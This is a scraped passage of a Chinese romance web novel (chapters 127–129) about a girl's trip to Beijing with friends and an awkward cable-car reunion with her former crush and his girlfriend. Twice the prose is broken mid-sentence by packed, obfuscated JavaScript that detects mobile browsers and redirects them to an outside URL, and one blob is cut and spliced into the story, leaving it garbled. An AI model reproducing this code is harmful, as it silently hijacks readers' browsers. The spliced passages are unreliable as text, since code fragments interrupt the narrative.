她此刻用惊慌失措来形容一点也不为过,整个人都扒在了他身上,一边够着脖子往走廊方向观察,一边又小心翼翼怕被发现,于是还缩在他胸口,把他右肩当成是一个遮盖物,掩耳盗铃地像小动物一般颤巍巍露出一只眼睛。 嘴还在被她用力捂着。少女掌心温软,清清淡淡的橙子香味飘进他的鼻间。 她的手心和他的唇之间隔出一点聊胜于无的暧昧距离,呼吸喘出来的瞬间,两方都能感受到温热的空气,在皮肤上一路流过酥麻。 她太紧张了,紧张到楚恒似乎都可以听见她闷重黏腻的心跳声,在皮肤相触的地方撩起火焰。 她想藏,她害怕,她张皇失措,她不想被别人撞破昏暗角落里偷藏的隐匿情感。 ……可谁也没有出声。 无人说话。无人动作。无人抽离。 空气安静。城市安静。世界安静。 宇宙是否听见了他的心跳声? 帝都胜家酒店八楼,僻静黑暗的狭窄角落。 楚恒站在巨大的落地窗前,被女孩以一个完全压制的动作按在墙上。 怀中身躯温热柔软。如果他张开手,就可以把她完完全全抱在怀里。 ……可是他动也不动。 两只修长瘦削的手刚刚还以一种绝对占有的姿态围住她,但此时却自然地垂在身侧,像是毫无抵抗能力,就这样极其乖顺地承受这一切。 窗外灯光璀璨,星星点点。 他睫毛缓慢地眨动一下。 帝都凌晨一点半清寥冷冽的月光落在了他肩头。 ——楚恒。他对自己说,和梦境一模一样,别醒过来。 * “杯姐?” “嗯?不在?还是睡了?” 空荡的走廊不远处传来敲门声,只是敲了五六下以后都无人回应。 “杯姐,我刚刚又想到一个非常重要的问题!你说我那天穿哪件衣服去比较好看?” 微信语音“倏地”发送过去,男生低着头慢慢走回自己的房间。 “咵啦——” 房门关上。 …… 世界重归寂静。 黄怀予终于呼出一口气,这才发现自己都紧张得似乎出了一点汗。 低下头,突然想起来她此时此刻还扒在楚恒身上,赶紧把捂住他的嘴的手拿下来,从他怀里退出去。 “……不好意思。”她耳尖红红的,一直蔓延到脖子,别开脸不敢看他,“那一秒没想那么多,怕他误会,所以就想躲开他。” 她声音落下,几秒钟之后,头顶响起一道低沉的声音。 “怕他误会什么。” “误会我们俩——” 黄怀予骤然住了嘴。 她突然觉得很不对劲。 在她心里,谷奕是绝对不可能有任何暧昧关系存在的“朋友”,她这样想,谷奕这样想,苏琬也这样想。所以她可以毫无心理负担地在他房间里孤男寡女待到凌晨一点半,没有人会“误会”。 但是她和楚恒之间,完全不是这样。 她害怕被发现,她害怕昏暗角落里隐秘的纠缠被公之于众,她无法对自己脸红心跳的真实心理反应作出任何强词夺理的解释,她装傻可以骗全世界却永远也无法骗自己。 ——“朋友”? ——楚恒是她的“朋友”吗? 是吗? 是吗? “误会我们俩,超出了朋友的界限,有了暧昧关系。对吗?” 他的声音清淡,语气平和,飘飘荡荡落下来却像一记重锤,直接砸开了黄怀予用以伪装保持面子的最后一层面具。 她猛地抬起头,看向他的脸。 窗外清清冷冷的月光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006764|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映在他脸上,把他一贯冷峻的眉眼也衬得温柔很多。 微微有风吹过来,他浓密的睫毛轻轻颤了一下,瞳孔清透,只倒映着她一个人。 ……为什么不管在什么时候看见他,他都这么好看? 他是不是从生下来就这么好看? 高高瘦瘦,皮肤白皙,被一群女生暗恋喜欢,又会唱歌会跳舞,在舞台上当着那个闪耀的明星? 好看的人会有烦恼吗? 他永远也不会暗恋不得,永远也不会像个小丑一样和情敌做朋友,永远也不会因为自己的存在本身就被亲生父亲厌弃,永远也不会站在路边给风云人物当黯淡的陪衬,永远也不会看着镜子里肥胖丑陋、一无是处的自己流泪。 他是首都人,中产家庭出身,他一出生就站在了她前方好远好远的地方。他是帝都的星星,他永远也不会在夏天七月份背着一书包的试卷在楚门破旧的街道上喘着气去上补习班,他永远也不会在凛冽的冬日拿着成绩单在天台一边哭一边背历史。他就在天边,他是冥王星,遥远而稳定,远离人群,他不需要向任何人寻求认同,他只需要关心他的内心,他永远不会降落。 而她却是一个虚假无比的太阳,所有人都说绕着她转,所有人都说她在发光,可是她也被层层围困,重重锁住,炽热密集地散发能量,直到核聚变损耗殆尽,冷寂无光,只剩千疮百孔的心。 “谁会这么认为?没有人会这么认为的。” 黄怀予冲楚恒摆摆手,笑得很夸张,眼睛都眯成了一条缝。 “我们俩?暧昧?哈哈哈哈哈哈怎么可能呢?” “怎么可能呢?” “不可能的。” “哈哈。” “不可能的。” “我很有自知之明的,你放心放心。大家都是朋友,放心放心。” “别误会,千万别误会。你长那么好看,你是明星啊,喜欢你的女生多了去了,你要什么样的没有?不可能的,别误会,千万别误会,你放心,我心里有数的。哈哈。” 她笑着笑着,突然用右手捂住了眼睛,吸了一下鼻子。 “我先回去了。太晚了,睡吧,晚安。”声音有些抖,带着涩意。 她捂着眼睛,转身头也不回地离开,从只有两个人的黑暗角落里走出来,一步步走到亮堂的走廊上。 ——楚恒是她的“朋友”吗? 当然不是。 这辈子都不是。 从2017年9月她见到他第一面开始,就不是。 纠纠缠缠一年,无人知晓的梦,只有1969灯红酒绿的五彩射线看得见,只有楚门一中门口那根破破烂烂的电线杆看得见,只有街角那只名叫小楚的中华田园犬看得见,只有漫天的星星看得见。 但是那又怎么样? …… 黄怀予右手用力捂住眼睛,一步步朝前方走着。 周围没有人,整个八楼寂静一片。 滚烫的眼泪从她的指缝滑落下来,像是绵延不绝一般,沾了满手的湿润,顺着脸颊一路流下。 鼻子酸涩,她狼狈地捂住眼睛,逃也似地快步走回了自己的房间。 楚恒。 我喜欢你。 但是那又怎么样? 127. 第 127 章 黄怀予这几天全部都睡到中午才起床。 四个人这趟旅行很是随意,上午起不来就中午起,慢悠悠打扮一下,专属座驾已经在楼下等待。 在车上吹吹空调,下车就已经是餐厅门口。走进去一个人都没有,三个服务员围着带路,谷奕懒洋洋地摘掉墨镜,说,包场方便。 下午随便去一个景点逛逛,太热的不去,太累的不去,人太多的不去,只要有任何一点不适就上车躺着,再下车时又到了该吃晚饭的餐厅。 晚上找家熟识的酒吧包场,黄怀予喝醉了拉着酒吧老板的狗在大厅跳舞蹦迪。几个人躺在地上玩真心话大冒险,楚恒抽到了不说儿化音挑战,其他三个人笑作一团。 狗在旁边欢快地踩来踩去,尾巴摇得欢,一下子就把酒瓶碰倒了,洒了黄怀予一身。她抱着狗头,拉着它的耳朵,“你赔我衣服!你知道我是谁吗?我叫黄怀予,外号叫杯子,云省楚门人,今年18岁,是一个开朗自信大方潇洒的美女。” 最后三个人全部喝得烂醉,欧叔凌晨三点半浩浩荡荡带了两辆车过来把人接走。 手下的人正要接过浑身酒气、胸口还沾着棕色酒渍的黄怀予,却被楚恒一把避开,他神情冷淡,紧紧把人抱在怀里,进了车,“不用。我自己来。” 那人一怔。 他知道这人是少爷的朋友,似乎是一个男团偶像。 少爷的这几个朋友都年纪小,咋咋呼呼很好说话,只有这个人看上去一副冷脸,不管其他人鬼混到什么程度,他都全程清醒,衣服从上到下一尘不染干干净净,一看就知道龟毛无比,导致自己见到他都有点心惊胆战。 那人好奇地朝车里面看,只见楚恒坐在车里的座位上,怀里的女孩像没骨头一样瘫在他怀里。 她胸前一大片酒渍还没干透,蹭在一起直接也沾上了楚恒的衣服。他低头似乎是随意看了一眼,目光又不在乎地重新落回了她的脸上。 衣服摩擦之间越来越滑,她整个人都往下坠,他一把把她搂得更紧。 几缕碎发缠在她脸上,她闭着眼睛迷迷糊糊中皱了皱鼻子,“痒……”,楚恒一顿,右手极其轻柔地帮她把碎发捋到耳后,嘴角不由自主勾起了一个轻浅的弧度。 “……”那人捂住嘴,慢慢转过身。 这还是那个龟毛冷脸小明星吗? 他拍拍自己的脸,不该看的别看,不该说的别说!给有钱人打工,这就是基本原则! …… 四人就这么在帝都厮混了好几天,慢慢竟然也把帝都所有有名的景点全部走过了一遍。 在圆明园湖边安安静静看天鹅,在天坛一人买了一根冰棒,在颐和园智慧海前和苏琬聊明清时期的三教融合,在楚恒无奈地说“年纪太小我不记得了”之后还要逼楚恒讲当年在鸟巢现场看奥运会的经历。 尝试豆汁的第一口谷奕喷了满桌都是,西餐厅里两个女生有点惴惴不安地问西餐礼仪结果得到谷奕一声笑“没那么多讲究,爱怎么吃就怎么吃”,被楚恒带去一个小巷子里吃童年就吃过的卤煮火烧,看见老式炸鸡的那一刻黄怀予眼都绿了,站在街边吃完了一斤,旁边三个人也都站在旁边笑着看她吃。 吵吵闹闹,说说笑笑,看太阳升起又落下。 转眼就已经到了20号。 谷奕计划20号先去长城正常玩一天,21号再上去看星星。 黄怀予以为他也会继承前几天一贯的懒散风格,没想到这位大公子不知道突然抽了什么风,说要一大早景区一开门就去,呼吸清晨山林间的空气。 “你昨天晚上在酒吧里喝得烂醉的时候怎么没想到你要呼吸清晨山林间的空气?” 这句吐槽被谷公子完全驳回。他想要,他得到,其他三个人对看一眼无奈点点头,“好,那就陪你。” 早晨七点半,慕田峪人不多,黄怀予哈欠连天地下了车,抱着胸,眼睛都睁不开。 这就叫由俭入奢易,由奢入俭难。当了十二年的学生,这才放纵了一周不到,就已经开始觉得早起能要命了。 她穿着薄外套站在车前。 周围山林寂静,空气清新,耳畔微微传来鸟雀声。 闭着眼味同嚼蜡啃完了一个面包,她走上前几步把袋子扔进了垃圾桶,身后的书包随着她的步伐摇摇晃晃,上面一个嘻嘻哈哈笑着的小太阳毛绒玩具挂坠也晃来晃去。 一回头,她就看见楚恒站在车边,正和谷奕一起,和司机交谈着什么。 他今天穿了一件宽宽大大的黑色运动外套,下半身是同色宽松黑色长裤,头发没有什么多余的修饰,随手抓了两下,背了一个灰绿色斜挎包,此时两只手都插在裤兜里,高高瘦瘦的身影微微弯下腰,听司机讲话。 清晨的微风缓缓吹过,宽大的外套被风吹得起皱,勾勒出他清瘦的身形,从背后看,宽阔的肩膀尤其明显,衬出清爽但夹杂着雄性荷尔蒙的少年气。 ……光是看看背影都脸红了,黄怀予骂了自己一句,移开了视线。 谷奕精神抖擞地在前面带路,几个人进了北检票口,去坐缆车。 慕田峪的缆车在长城西段,远远隔着翠绿的山林已经可以看到山脊上细细的一条暗黄色的砖块,星星点点连成蜿蜒的线。 排队的地方被铁栏杆隔成长长的弯弯绕绕的分隔,四个人排成一列慢慢往前走。 黄怀予走在第三个,看着前面两人越走越近的身影。 谷奕今天看上去是极其认真地打扮了一番,头上起码喷了一斤发胶,头发硬得吹都吹不动,似乎还打了个底画了个眉毛,整个人容光焕发神采奕奕,帅得黄怀予第一眼都晃了一下神。 他在前面走着,苏琬走在他后面,像是和他说了一句什么话,他就打开包拿出一瓶水,极其自然地拧开盖子,递给了她。 苏琬喝完,他又接过来放进包里背着。走了几步,又低下头凑到苏琬耳边说了一句什么话,逗得苏琬笑着轻轻拍了他一下。他佯装被拍痛,垂下眼装可怜,蹭在苏琬旁边,仿佛身后有一条看不见的尾巴晃来晃去。 “……” 黄怀予跟在后面越看越无语。 空气清新,山林安静,她慢慢走着,确实觉得心旷神怡,心情放松,那股本来就没消除的困意又涌了上来,她捂住嘴打了个哈欠,揉了揉眼睛。 突然,她感觉背上的书包似乎被后面的人摸了一下。 ? 她回过头,看着走在她后面的楚恒。 “干嘛?” 楚恒看她一眼,手却没收回去。 黄怀予顺着他手的方向看过去,才发现他正在摸她书包上挂着的那个太阳。 他手指修长,骨节突出,手心很大,可以把那个太阳完全包住,此时正有一搭没一搭地揉捏,把玩的动作带了些漫不经心。 “不许摸。” 他似乎是笑了一下。 “为什么。” “这挂坠的链子很脆弱的,之前就已经掉过一次了,我在学校里沿着小路找了一个下午才找到的!你别又给我弄断了。” 他听了这话,也没什么特别的反应,歪了歪头,食指擦过那个太阳的嘴巴。 “弄断了就再给你买一个。” 黄怀予脸色一变。 “不要。” 楚恒慢慢抬起眼看她,神色带了些似有似无的散漫。 “我再给你买个一模一样的。” “……”黄怀予瘪着嘴,瞪他一眼,手背到身后去摸,拂掉他的手,“我就要这个!” 楚恒手被推掉,脸上却一点也不恼,反而似乎是带了点笑意,看着前方女孩有点生气地往前走了两步,又突然停住,直硬硬地转过身,冲他命令似地抬起下巴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人正在前方远远停住看着他们,还冲他们晃了晃手里的手机,意思是微信联系。 现在想过去也不容易,三四个小孩子还在两人身边纠缠乱跑,几个母亲围在身边大声斥责,身后还跟着导游举着喇叭试图安抚让大家归队的声音,一时间混乱一片。 她一下子停住,掏出手机,就看见“祝你开心到想(4)”群里,苏琬发的消息: 【蒜蒜】:过得来吗? 【杯子】:够呛。 【蒜蒜】:过不来也没关系,我们要不分头去也行。 【蒜蒜】:票都在大家自己身上,我们分头去坐缆车,到时候我们在下面等你们。 黄怀予想了想也行,回了一个好,就扯了扯楚恒的衣角,轻声说: “我们等这个旅游团先过去吧。现在不着急去找苏琬谷奕,他们到时候在下面等我们。” 她说完,又想到什么,把他往自己身后扯。 “你站我后面,背对她们。现在人有点多。” 被扯住衣角的男人很是顺从地跟随着她手的力气,一拉就过来了,却还是淡淡说: “我还没红到这种程度。” 黄怀予白他一眼,“再糊也是个腕儿。给你省点麻烦,你还不乐意啊?” 头顶响起低低的笑。 “儿化音说得不错。” “哼。”黄怀予看他一眼,“姐会的多了。懂儿吗儿?” …… 旅行团终于吵吵嚷嚷地离开。 黄怀予知道这人洁癖,不喜欢跟别人距离太近,也没有催他,两人一直站在原地,等所有人都走了,两个人才重新开始往前走。 前方不远处就到了缆车上车点,已经有零星几个人在那里等候。 黄怀予远远地扫了一眼,突然停住了所有动作。 缆车排队处的末尾,站着一女一男两个年轻人。 女生短发半扎发,系了一个大红色的蝴蝶结,身材娇小。男生高高瘦瘦,戴着眼镜,面容清俊,一身书卷气。 女生正贴在男生胸口撒娇轻蹭,男生低头,笑得很温柔,捏了一下女生的脸。 ……黄怀予整个人像是被打了一闷棍,从头凉到了脚。 那是,冯尽欢,和卫语。 128. 第 128 章 黄怀予一瞬间就想到了一个月前高考之前在楚门十中碰见他们两个的场景。 卫语那个时候已经通过W大的自主招生了。 W大就在帝都。 为什么就是能这么巧呢?他想来帝都上大学,他已经拿到了帝都的大学一半的录取通知书,所以他就和女朋友选择高考之后的毕业旅行来帝都玩。 世界这么大,中国这么大,帝都这么大,偏偏就是长城,偏偏就是今天,偏偏就是现在。 她还从来没有见过卫语这么温柔的笑。卫语初中的时候虽然算得上外向,但是和女生一贯保持距离,偶尔和她讲题的时候不小心碰在一起也会迅速离开。 他优秀,明亮,礼貌但是疏离。 哦,不对。卫语这样温柔的笑,其实她也是见过的,只不过不是对她。 初中毕业的暑假,她见过卫语牵着冯尽欢的手在望湖的柳树边散步。高三的某一天,她在行政楼的楼梯上看见卫语像偷情一样当着她的面抓住了冯尽欢的手。百日誓师那一天,卫语为了冯尽欢主动来找她澄清所有事划清距离。高考前几天,她在楚门十中看见卫语旁若无人地和冯尽欢牵手散步在校园里。 ——很美好的高中校园情侣。 互相忠诚,互相进步,完全的纯爱,恋爱了也不影响学习。 黄怀予经常想,假如她所在的世界是一本书,那这两个人一定是故事的主角。 冯尽欢就是故事的女主角,长相可爱,身材娇瘦,成绩不差,语文很好,人气很高,在哪个班都有朋友,在哪群人里都有权威,是闪闪发光的风云人物,是外向活泼的青春女神。 她也许也会暗恋,但是和自己这种路边的小人物不一样的是,她的这场暗恋到最后一定会修成正果。 男方就是像卫语这样的学霸男神,耀眼优秀,两个人天造地设,和所有校园文一样,清新的心动,清爽的感情,热烈的转变,甜蜜的长久。 其实黄怀予早已经想明白了这六年对卫语的感情,在楚门十中看考场的那一天。 只是想明白不等于放下,她和这两个人的关系紧紧纠缠,早就是剪不断理还乱。 就算她意识到了自己其实并不是真的喜欢卫语,但是她也当过冯尽欢三年的朋友。三年里,陪她走过放学的路,参加过她的生日聚会,为了逗她笑而往自己脸上抹奶油,为了打入她的朋友圈子而扮丑自嘲。 那些日子很难忘记,友情和爱情乱七八糟地纠缠在一起,羡慕和失落像是一体两面,对自己相貌的自厌和对学习竞争第一名的渴望也这样一直畸形地潜伏在初中三年冰冻的海洋下,成为一个看不到尽头的巨大冰川,也许亿万年也无法消解。 …… 黄怀予定住了,目光怔怔地看向前方,一动不动。 楚恒跟着她的动作停了下来,顺着她的目光往前方看去,神色一凝。 “遇见熟人了?” 他淡淡开口。 是啊,楚恒也认识卫语的。 黄怀予低下头,点点头。 两个人之间陷入沉默。 “……还要坐吗?”几秒钟之后,黄怀予艰难开口,语速慢吞吞的,“现在去坐,肯定会碰见他们。” 头顶却传来楚恒很是平静的声音。 “为什么不坐。” “我们买好了票,苏琬谷奕等会在下面等我们。” “不坐的话所有计划都会被打乱。” 黄怀予没说话。 她脑子乱乱的,还没想好,可是下一秒右手手臂上就多了一只有力温热的大手。 她不可置信地抬起头,就看见她手臂被楚恒牵了起来。他的手带着一股不容置疑的力量,她一个不慎就被拉着往前走去。 “等等,楚老师……楚恒!” 楚恒个子高,腿长,脚步飞快,黄怀予被他拉着踉踉跄跄向前,抬头只能看见他鬓边被风吹动的乌黑发丝。 橙色缆车速度很快,几秒钟就已经来了一辆,中途不会停,需要快速走上去。每一辆缆车可以容纳八人,现在人少,工作人员守在门口,每四个人放行一次。 卫语和冯尽欢已经上了缆车,旁边工作人员操着一口帝都腔冲后面的楚恒和黄怀予喊,“后面的快点!” 黄怀予瞪大眼睛,还没来得及说出“要不我们等下一辆吧”,就已经被身前的男人迅速拉着坐进了同一辆缆车里。 门“跨碴——”一下关上,发出沉重的声音,一下子隔绝了外面的世界,四个人就这样面对面被关进了狭窄封闭的缆车里。 “……” 黄怀予感觉心脏马上就要从胸腔里蹦出来了,浑身都有些发抖。 她慢慢抬起头,果然看见对面座位上,卫语和冯尽欢两个人微微张着嘴,脸上满是极其震惊的表情。 “……黄怀予?” “你也在这?这么巧!” 冯尽欢很是惊讶。 她的视线在黄怀予和旁边的楚恒身上来回逡巡,“这位是……” 黄怀予突然听见身旁的男人淡淡开口,声线毫无波澜,却像是扔下了一道雷: “她男朋友。” !! 她浑身一抖。 立刻猛地抬起头去看楚恒的神色。 ——可是从她的角度却只能看见他高挺的鼻梁和立体的侧脸。他语气那么坦然,表情那么平静,黄怀予呆呆地盯着他的侧脸看,一时间彻底愣住。 ……他是在帮她吗? 黄怀予低下头,看着楚恒还紧紧抓着她手臂的那只手。 楚恒曾经撞破程朗的玩笑话,曾经在百日誓师那天见过卫语在操场上和她划清界限,他知道一切事情。 可是她真的需要这样吗?她真的需要一个假男友来在关系复杂的旧人面前撑场子、找回面子吗?黄怀予一遍遍地问自己,她自己都不知道这个问题有没有答案。 她只能苦笑一声,抬起头,对对面的两人露出笑容。 “好久不见。” 卫语的目光里也透着惊奇,在两人身上来回打量了一番,沉默了两秒,微微点头,“好久不见。” 黄怀予尽量让自己的声音显得很轻松,“考得怎么样?” “还行。” 她心不在焉点点头。 “你,准备去W大?” “还不确定,要等成绩出来。上了线就可以,没上的话就去别的学校。” “恭喜你啊。”黄怀予转向旁边的冯尽欢,“考得怎么样?你应该也想和他一起来帝都读大学吧。” “嗯……能这样当然最好了。”冯尽欢听到这个问题有点羞涩,迅速看了卫语一眼。 冯尽欢说完,又把视线投向了坐在黄怀予左边面容有些冷峻的男人。她眼里透着强烈的好奇,上下打量了好一会。 “你男朋友……也是今年毕业吗?” “他不是。” 没有得到更多的回答,冯尽欢试探着继续问:“是一中的吗?哪一届的呀?怎么好像没在学校里见过。” “他不读书,家里有钱,准备回去继承家产。” “哦……那你们……” “年底结婚,父母安排,商业联姻。” 楚恒低下头微微笑了。 黄怀予胡说八道信手拈来。这三个人都是初中同学,就算互相不是很熟,也知道黄怀予家里肯定不是什么需要商业联姻的背景,都知道她说的肯定是假的——但是既然黄怀予明摆着在瞎说,冯尽欢也不好继续问下去。 她又看了一眼那个男人,五官精致帅气,头小脸小,刚见到只觉得神色有些冷,但是却在听见黄怀予说“年底结婚”的时候笑了。 他一副敌不动,我不动的架势,就那样安然坐在黄怀予身边,也不解释任何一句,就任凭黄怀予随便编造,丝毫不在意。 …… 缆车缓缓向上,透明窗户外重峦叠嶂,枝叶茂密,山峦起伏,一派清新自然美景。 巍峨雄壮的土黄色城墙在山川起伏之间蜿蜒缠绕,像一条蛰伏的巨龙,静静地盘旋。 冯尽欢掏出手机,让卫语帮她拍照。 ……只是黄怀予一看就知道,卫语这种只知道读书的直男学霸,拍照一定不好看。 果然,卫语拍完把手机递给冯尽欢,她脸色当即就变了,嘟着嘴,“拍的啥呀!我教过你的!” 卫语有些尴尬,“那我再重新帮你拍几张?” ——“我帮你拍吧。” 黄怀予直视着她,神色很坦然,语气很真诚,还带着点笑,“我拍的肯定比他拍的好看。” 黄怀予很擅长拍照。从初中开始和女生朋友们出去玩,黄怀予就一定是拍照的那个人,她很会找角度,经常给朋友们拍出神图,但是她自己不喜欢被拍——因为拍了也不好看。 活在聚光灯下和镜头里,这种事情一般就交给那些长得好看的人比较好。她不用露脸,就靠着自己的摄影技术活在照相机后面就好。生活也能继续,大家各有各的定位,世界运转正常。 她调出了网格线,走近切了几张近景,又往后退蹲在地上拍了几张坐着的全身照。缆车正好经过一片青翠的树林,镜头里看颜色很好看,她迅速走到冯尽欢侧脸边,把森林当作身后的背景拍了好几张侧脸。 “好看!” 冯尽欢高兴地看了一会,又给卫语看,“比你拍的好多了。” ——“要不……给你们俩一起拍一张?” 黄怀予主动问,重新接过手机,拿到眼前,对准面前的两人。 “挨近一点吧。” “情侣亲密一点比较好看。” 冯尽欢不好意思地笑了一下,歪歪头,两人紧密地贴在一起,身体语言亲密无间,光是看着这一幕就能看出来小情侣之间亲昵的氛围感。 黄怀予抓到了这一幕,笑着把手机交回给两人,“挺好看的。” 她退了回来,重新坐到了座位上。 窗外郁郁葱葱,空气清新无比,她正看着树林发呆,突然就听见左边传来一道熟悉的低沉男声。 “可以请你帮我们拍一张吗?” ! 黄怀予骤然转过头,就看见楚恒已经把自己的手机递给了冯尽欢。 “咔嚓——” 黄怀予听见这声音惊讶地望向冯尽欢,只见她笑得很开心,“抓到了一张!你正好看着他。” “再来一张,你们也可以拍一张亲密的呀。” 亲密的? “嗯。” 她脑子一团浆糊,还没反应过来,右肩忽然就被一只大手用力搂住,带着一股不由分说的力量把她拉了过去,她躲避不及歪进一个苍兰香气的怀抱里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023979|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “咔嚓——” “超级好看!” 冯尽欢把手机还给了楚恒,笑得真心实意。 …… 短短不到十分钟,前方缆车已经快要到终点。 在这本来应该抓马无比的小小缆车里,黄怀予居然还安安静静看了一会景色,她自己都觉得有些不可思议。不知道为什么,她上缆车之前那样畏惧,可是真正上来了以后,却发现也没什么可怕的。在这帝都慕田峪长城重峦叠嶂的山林间,她趴在透明的缆车车厢边,心里竟然觉出了那么一点安宁。 马上要到终点了,黄怀予看着缆车外,突然开口,说: “真的祝福你们。” 她停了一秒,又极其真诚地补了一句: “真心的。” 真心的。 她是路边的小人物、书里的路人甲,她只是一个还算得上善良的普通人,这是她给女主角和男主角的真心的祝福。 卫语愣了一下,挑了挑眉,有点疑惑,没明白她突如其来的两句话是什么意思,但是她说祝福,于是他也只是点点头。 ——但是,冯尽欢却听懂了。 她明白黄怀予在说什么。 缆车上刚刚的所见所闻里,她也可以看出来,黄怀予和楚恒之间,已经到了互通心意的地步。 或许初中时代黄怀予曾经暗恋过卫语,不论是出于情窦初开的青涩暗恋,还是对那个“第一名”所代表的荣誉而爱屋及乌。可是如今,人当然会变,过去的都已经过去了。 她可以确定,黄怀予已经不是一个对自己男友多年暗恋却爱而不得的第三方,换句话说,黄怀予永远都不会再成为她潜在的情敌。 冯尽欢看着黄怀予,眼里不再有任何敌意或是提防试探,反而慢慢露出一个真诚的笑。 “我知道。谢谢你。” 缆车到达终点,冯尽欢突然说: “其实,我一直很羡慕你。” “你很努力,你成绩很好。” “不止是我,我和我当时的朋友们,都很羡慕你。” “如果老师们提到我们班上的人,你和卫语作为第一名和第二名,两个人的名字一定会在一起出现。那个时候我就想,如果我的成绩也和你一样好,就好了。” “你成绩好,却不傲慢,很幽默,所有人都会被你逗得大笑。女生男生都愿意和你一起当朋友,你拥有我永远也没有的人际关系协调能力和幽默感。” “总而言之,你很优秀。” “祝你金榜题名,考上想去的学校。” 她站起身,牵起卫语的手,冲黄怀予最后摆摆手,走下了车。 …… 黄怀予被楚恒拉着下了车,仍然愣怔住,一动不动地站在原地。 她笑了。 笑着笑着,不知道为什么,眼里却流出了泪水。 “哈哈哈。” “原来是这样吗?” “原来是这样。” 嗯。原来是这样。 黄怀予,快醒醒。 回忆是太平洋深处的暴风雨,别陷在里面,快醒醒,快走出来。 你的回忆充满自己视角的自刎,狂风暴雨中你身处一叶扁舟,你以为搅起风暴的是你父亲、是暗恋对象、是你情敌、是你的竞争对手、是你比不过的所有人……可是请你快点醒醒,和风浪去搏斗吧,风暴会停止,海面上会升起太阳,大海上没有任何其他人,只有你自己。 这个世界,只有你自己。 我是路人甲,而冯尽欢却是青春女神——“其实,我一直很羡慕你。” 我只能靠着成绩好才能得到别人的一点点喜欢——“你很努力,你成绩很好。” 我努力挤进风云人物的社交圈——“不止是我,我和我当时的朋友们,都很羡慕你。” 我像小丑一样自嘲身材长相——“你成绩好,却不傲慢,很幽默,所有人都会被你逗得大笑。女生男生都愿意和你一起当朋友,你拥有我永远也没有的人际关系协调能力和幽默感。” 我永远也比不过别人——“总而言之,你很优秀。” ……原来是这样。 …… 楚恒慢慢松开她的手,望向远方那两个走远的身影。 “他叫卫语?哪个yu字?” 黄怀予抬起头,望向苍翠山林,眼神又仿佛穿越回了很久以前的时光。 “话语的语。” 卫语,未语,未能说出口的情感。 青春期的悸动,教室里吹不散的热气,头顶明晃晃的成绩表,不远处暗恋的人。放学路上的笑谈,猜忌敏感的关系,镜子里正在发育的身体,永远活在比较里的自己…… 都已经随着巨大的畸形冰川彻底融化掉了。 她不需要一个虚假的男朋友来在旧人面前撑场子挽回面子。她认识到她可以不用当模特,她是摄像师,这个世界依然可以运转正常。 黄怀予释然一笑。 她突然说: “你知道我的名字是谁给我取的吗?” “是我外婆。” “我爸爸知道我妈怀了一个女孩,想让她打掉。我外婆知道了以后,坚决不同意,出门去找我妈。在路上,天桥边,遇见了一个算命的。那个人说,‘怀予’这个名字好,这个人以后要为了自己而活。” 129. 第 129 章 21号。 谷奕带了一个专业司机过来,姓雷,又找人安排了一辆大车,搭载了各种各样的装备,从帐篷、望远镜、吃的喝的到驱蚊水照明灯,全部应有尽有。 黄怀予上车之前看了一眼塞得满满的后备箱,咋舌道:“你要拍《跟着贝尔去冒险》啊?” 谷奕右手搭在车上,随意站着。 “我让他们按照质量最好的标准来准备的。这都是正经登山装备,去爬珠穆朗玛峰都够了。” 他估计是今天一大早就起来打扮了,整个人眉眼英气轮廓锋利,额前露出几缕挑染过的微卷刘海,衬得强硬的气质多了一丝风流散漫,他左手插着裤子口袋,高大的身影斜站着,冲黄怀予做了一个wink。 “卧槽。” 黄怀予皱了皱眉,居然那一秒还真被他帅到了! 她上下看看他,“你有必要穿得这么夸张吗?” “这夸张?”谷奕切了一声,“我本来打算穿黑色皮衣加长筒靴的。” “……我的妈呀。六月份你穿黑色皮衣加长筒靴上山,你有病啊。不知道的以为你拍《让子弹飞》。” “这不是没穿吗。”他笑得有点恶劣,“我查了,网上都说黑色皮衣加长筒靴是一米八以上的男人最好的医美。” “你在哪个网上看的?我怎么没看见?” “切。我们男人的时尚穿搭互联网社区,你懂什么?男人也有爱美的权利。” 黄怀予竖起大拇指,“说得对。我支持男人爱美自由。” 他撩了撩刘海,目光落到黄怀予身后的某处,嘴角勾了起来,冲后面吹了声口哨。 “喏。又来一个用力过猛的爱美男人。” 黄怀予一顿,转过身。 不远处,楚恒朝两人慢慢走过来。 他今天穿了一件纯白色的宽大冲锋衣,拉链一直拉到最上面,稍稍遮住了下巴。下身是黑色工装裤,大腿处一条银色的拉链若隐若现,随着走路的动作前后晃荡。 黄怀予似乎很少看他穿这样纯的亮色,在清晨的曦光里他一步步走来,身上带着一丝寒气,纯白色衬得他皮肤白皙,神色极亮,冲淡了他身上一直以来的冷气,显得整个人都明亮了起来。 他走的速度很慢,一步步走近,视线一直落在黄怀予身上。 她晃了晃眼,这才发现他耳垂处闪过什么亮晶晶的东西——是一个耳钉,周围银色,中间是像血一样的深红色,细细的链子一直勾到了耳骨处,连成了一条弯弯的线,随着他转头的动作在乌黑的发间一闪而过,衬得他侧面轮廓极其好看。 “……”黄怀予看得有些愣,就这样迎着楚恒的目光,看着他一步步朝自己走来。 